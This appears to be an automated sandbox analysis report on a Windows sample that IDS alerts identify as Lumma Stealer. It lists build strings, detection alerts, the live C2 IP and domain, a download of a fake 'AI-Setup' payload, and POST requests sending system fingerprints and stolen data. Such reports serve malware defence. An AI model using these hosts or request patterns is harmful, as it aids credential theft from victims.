Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net7.0-windows\System.Net.NameResolution.pdb source: mDHwap5GlV.exe, 00000000.00000002.2612038536.000000000E351000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2611890775.000000000E320000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net7.0\System.Diagnostics.Tracing.pdbSHA256q source: mDHwap5GlV.exe, 00000000.00000002.2592357978.000000000C7E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography\Release\net7.0-windows\System.Security.Cryptography.pdb source: mDHwap5GlV.exe, 00000000.00000002.2594220011.000000000CBE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: Microsoft.CSharp.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Collections.ni.pdb; lr source: mDHwap5GlV.exe, 00000000.00000002.2605844050.000000000D521000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2605777963.000000000D4D0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Collections.Concurrent.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net7.0\System.Runtime.pdb source: mDHwap5GlV.exe, 00000000.00000002.2582770722.0000000009AB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Sockets.ni.pdbp source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2610536524.000000000E271000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607643100.000000000DDB0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607711334.000000000DE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Console\Release\net7.0-windows\System.Console.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583359508.0000000009AD1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Private.Uri.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2594641559.000000000CDAA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2594814056.000000000CDF1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.AppContext\Release\net7.0\System.AppContext.pdb source: mDHwap5GlV.exe
Source:	Binary string: Microsoft.VisualBasic.Core.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net7.0\System.Diagnostics.DiagnosticSource.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net7.0\System.Threading.ThreadPool.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net7.0\Microsoft.Win32.Primitives.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net7.0-windows\System.Net.Security.pdbSHA256S source: mDHwap5GlV.exe, 00000000.00000002.2593612711.000000000C991000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Uri\Release\net7.0\System.Private.Uri.pdb source: mDHwap5GlV.exe, 00000000.00000002.2594641559.000000000CDAA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2594814056.000000000CDF1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Linq.Expressions.ni.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Sockets\Release\net7.0-windows\System.Net.Sockets.pdb source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2610536524.000000000E271000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.UnmanagedMemoryStream\Release\net7.0\System.IO.UnmanagedMemoryStream.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Configuration/Release/net7.0-windows/System.Configuration.pdb source: mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net7.0-windows\System.Net.Security.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593612711.000000000C991000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Memory.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604929693.000000000D481000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604788493.000000000D440000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Quic.ni.pdb,3 source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net7.0\System.Text.Encoding.Extensions.pdb source: mDHwap5GlV.exe, 00000000.00000002.2608346084.000000000DE60000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net7.0\System.Threading.Overlapped.pdb source: mDHwap5GlV.exe, 00000000.00000002.2611810679.000000000E300000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Security.Cryptography.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2594220011.000000000CBE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Contracts\Release\net7.0\System.Diagnostics.Contracts.pdbSHA256_O source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb]:K source: mDHwap5GlV.exe, 00000000.00000002.2607643100.000000000DDB0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607711334.000000000DE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net7.0-windows\System.Net.Primitives.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2583501518.0000000009B20000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices.RuntimeInformation\Release\net7.0\System.Runtime.InteropServices.RuntimeInformation.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.X509Certificates\Release\net7.0\System.Security.Cryptography.X509Certificates.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604677499.000000000D431000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.X509Certificates\Release\net7.0\System.Security.Cryptography.X509Certificates.pdbSHA256B source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net6.0/Newtonsoft.Json.pdbSHA256(s source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.ServicePoint\Release\net7.0\System.Net.ServicePoint.pdb source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net7.0-windows\System.Net.Primitives.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2583501518.0000000009B20000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net7.0\System.Linq.pdb source: mDHwap5GlV.exe, 00000000.00000002.2587665887.000000000A930000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2587777590.000000000A9B1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Registry\Release\net7.0-windows\Microsoft.Win32.Registry.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Buffers\Release\net7.0\System.Buffers.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net7.0\System.Linq.Expressions.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Management/Release/net7.0-windows/System.Management.pdbSHA256A) source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Console.ni.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583359508.0000000009AD1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Debug\Release\net7.0\System.Diagnostics.Debug.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/Release/net7.0/System.CodeDom.pdbSHA256 ] source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Http.ni.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2585894979.0000000009D40000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net7.0\Microsoft.Win32.Primitives.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net7.0\System.Threading.ThreadPool.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net7.0-windows\System.Net.Http.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2585894979.0000000009D40000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net7.0\System.Text.Encoding.Extensions.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2608346084.000000000DE60000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net7.0\System.Threading.Thread.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2609058208.000000000DEE0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net7.0-windows\System.Net.Http.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2585894979.0000000009D40000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Primitives.ni.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2583501518.0000000009B20000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49924 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49924 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49956 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49962 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49930 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49930 -> 172.67.178.191:443

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 8397
Source: unknown	Network traffic detected: HTTP traffic on port 8397 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 8397
Source: unknown	Network traffic detected: HTTP traffic on port 8397 -> 49805

Source: global traffic

TCP traffic: 192.168.2.4:49733 -> 194.15.46.236:8397

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET /8.46.123.75/json HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET /software/AI-Setup HTTP/1.1Host: 194.15.46.236:8397
Source: global traffic	HTTP traffic detected: POST /notify-launch HTTP/1.1Host: 194.15.46.236:8397Content-Type: application/json; charset=utf-8Content-Length: 268Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 22 75 73 65 72 4e 61 6d 65 22 3a 22 6a 6f 6e 65 73 22 2c 22 73 79 73 74 65 6d 22 3a 22 57 69 6e 33 32 4e 54 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 2e 31 39 30 34 35 2e 30 22 2c 22 6c 61 75 6e 63 68 43 6f 64 65 22 3a 22 41 49 2d 53 65 74 75 70 22 2c 22 73 6f 66 74 77 61 72 65 53 74 61 74 75 73 22 3a 22 54 72 75 65 22 2c 22 70 72 6f 63 65 73 73 6f 72 22 3a 22 49 6e 74 65 6c 36 34 20 46 61 6d 69 6c 79 20 36 20 4d 6f 64 65 6c 20 31 34 33 20 53 74 65 70 70 69 6e 67 20 38 2c 20 47 65 6e 75 69 6e 65 49 6e 74 65 6c 22 2c 22 67 70 75 22 3a 22 53 41 4b 32 50 58 22 2c 22 61 6e 74 69 76 69 72 75 73 22 3a 22 55 6e 6b 6e 6f 77 6e 20 41 6e 74 69 76 69 72 75 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 7d Data Ascii: {"ip":"8.46.123.75","userName":"user","system":"Win32NT Microsoft Windows NT 10.0.19045.0","launchCode":"AI-Setup","softwareStatus":"True","processor":"Intel64 Family 6 Model 143 Stepping 8, GenuineIntel","gpu":"SAK2PX","antivirus":"Unknown Antivirus","country":"US"}

Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ipinfo.io

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49733 -> 194.15.46.236:8397
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49924 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49930 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49937 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49943 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49956 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49972 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49962 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49949 -> 172.67.178.191:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49738 -> 172.67.74.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 34.117.59.81:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49799 -> 172.67.74.152:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: seat-tabooz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: seat-tabooz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=N9VBPBASCUN4LT6T4PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: seat-tabooz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=D66BD5XYE6FE15S1U9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: seat-tabooz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=O3FE5JO3EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20378Host: seat-tabooz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZJLGCJ447ZQYPXPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1207Host: seat-tabooz.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ROW280E3GQ9EGOVW1HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584767Host: seat-tabooz.cyou

Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.236

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET /8.46.123.75/json HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org
Source: global traffic	HTTP traffic detected: GET /software/AI-Setup HTTP/1.1Host: 194.15.46.236:8397

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: seat-tabooz.cyou

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: seat-tabooz.cyou

Source: mDHwap5GlV.exe	String found in binary or memory: http://.css
Source: mDHwap5GlV.exe	String found in binary or memory: http://.jpg
Source: mDHwap5GlV.exe	String found in binary or memory: http://194.15.46.236:8397
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052FE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://194.15.46.236:8397/
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052FE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://194.15.46.236:8397/notify-launchH
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.0000000005171000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://194.15.46.236:8397/software/AI-Setup
Source: mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000051BD000.00000004.00001000.00020000.00000000.sdmp, mDHwap5GlV.exe, 00000000.00000002.2568628976.00000000052EE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org:443/
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp, decrypted_app_1.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: pipanel.exe, 00000008.00000003.3199592072.0000000005366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: decrypted_app_1.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
